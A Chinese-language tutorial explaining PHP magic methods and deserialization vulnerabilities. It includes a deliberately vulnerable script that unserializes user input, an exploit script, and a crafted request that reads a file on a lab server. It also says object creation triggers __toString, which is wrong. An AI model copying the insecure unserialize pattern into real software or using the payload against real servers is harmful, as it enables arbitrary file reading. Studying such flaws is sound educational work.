關於反序列化漏洞的一些理解
php類可能會包含一些特殊的函式叫magic函式,magic函式命名是以符號__開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。這些函式在某些情況下會自動呼叫,比如__construct當一個物件建立時被呼叫,__destruct當一個物件銷燬時被呼叫,__toString當一個物件被當作一個字串使用。為了更好的理解magic方法是如何工作的,在2.php中增加了三個magic方法,__construct, __destruct和__toString。可以看出,__construct在物件建立時呼叫,__destruct在php指令碼結束時呼叫,__toString在物件被當作一個字串使用時呼叫。這些魔術函式有點類似c++裡的建構函式和解構函式。而反序列化漏洞正是利用魔術函式執行指令碼。
序列化函式serialize()執行的操作是儲存一個類,至於為什麼要儲存,可以舉一個簡單的例子來看一下,比如php中一個指令碼b需要呼叫上一個指令碼a的資料,而指令碼b需迴圈多次,因為指令碼a執行完後其本身的資料就會被銷燬,總不可能b每次迴圈時都執行一遍指令碼a吧,serialize()就是用來儲存類的資料的,而unserialize()則是將儲存的類的資料轉換為一個類。
知道了這些後就可以看反序列化漏洞是如何利用魔術函式的了,先來看一個例子,以下php程式碼儲存為test.php
<?php class FileClass { public $filename = 'error.log'; // 當物件被作為一個字串會讀取這個檔案 public function __toString() { return file_get_contents($this->filename); } } class User { // Class data public $age = 0; public $name = ''; // 允許物件作為一個字串輸出上面的data public function __toString() { return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 使用者可控 $obj = unserialize($_GET['usr_serialized']); // 輸出__toString echo $obj; ?>
然後建立1.txt
然後創造利用函式1.php
<?php
include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';
echo serialize($fileobj);
?>
new fileclass這個類時會呼叫_tostring()這個魔術函式,通過指定filename為1.txt
訪問http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}
成功顯示了1.txt的內容。利用成功。